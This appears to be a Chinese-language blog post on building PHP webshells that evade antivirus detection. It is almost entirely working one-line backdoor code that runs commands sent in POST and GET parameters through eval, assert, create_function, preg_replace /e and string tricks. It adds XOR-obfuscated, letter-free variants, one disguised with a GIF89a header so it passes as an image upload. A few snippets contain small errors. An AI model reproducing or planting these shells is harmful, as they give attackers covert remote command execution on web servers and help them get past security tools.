php-免杀webshell的探索

1.webshell是什么

1
通俗一点的来讲wehshell就是我们用来执行命令的脚本

2.webshell(一句话模样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
1.<?php @eval($_POST['pass']);?>
2.用 creat_function函数创建
<?php
$fun = create_function('',$_POST['pass']);
$fun();
?>
//参数传入后生成一个函数fun(),再去执行
3.call_user_func 回调函数
<?php
@call_user_func(assert,$_POST['pass']);
?>
4.用 preg_replace 函数 进行替换
<?php
@preg_replace("/abcde/e",$_POST['a'],"abcdefg");
?>
//preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行
5. 对代码进行一个简单的变形
<?php
$a = "TR"."ES"."SA";
$b = strtolower($a); //将字符串转成小写
$c = strrev($b); //将字符串倒转
@$c($_GET['pass']);
?>
6.pares_str
<?php
$b = "a = assert";
parse_str($str); //执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。
@$a($_GET['pass']);
//鸡肋 magic_quotes_gpc 影响parse_str函数的输入,如果已经启用GPC 那么parse_str函数解析之前变量会被addslashes转换
?>
7. str_replace
<?php
$a = str_replace("pHNin","","aspHNinsert");
@$a($_GET['pass']);
?>

3.达到免杀目的的php一句话小马

1
2
3
4
5
无字母异或免杀
GIF89a
<? $a="Y;HJ(Z"^"8H;/Z.";
$a(${"~?}$"^"!x8p"}[pass]);
?>

image-20220226235643147

1
2
3
4
5
6
<?php
@$_++; //$_=0 $++=1
$__='#./|{'^'|~`//'; //_POST
//$w='`{{{"^"?<>/'; //_GET
${$__}[!$_](${$__}[$_]);
?>

image-20220227002533101

php免杀的方式很多,多研究研究!!!!!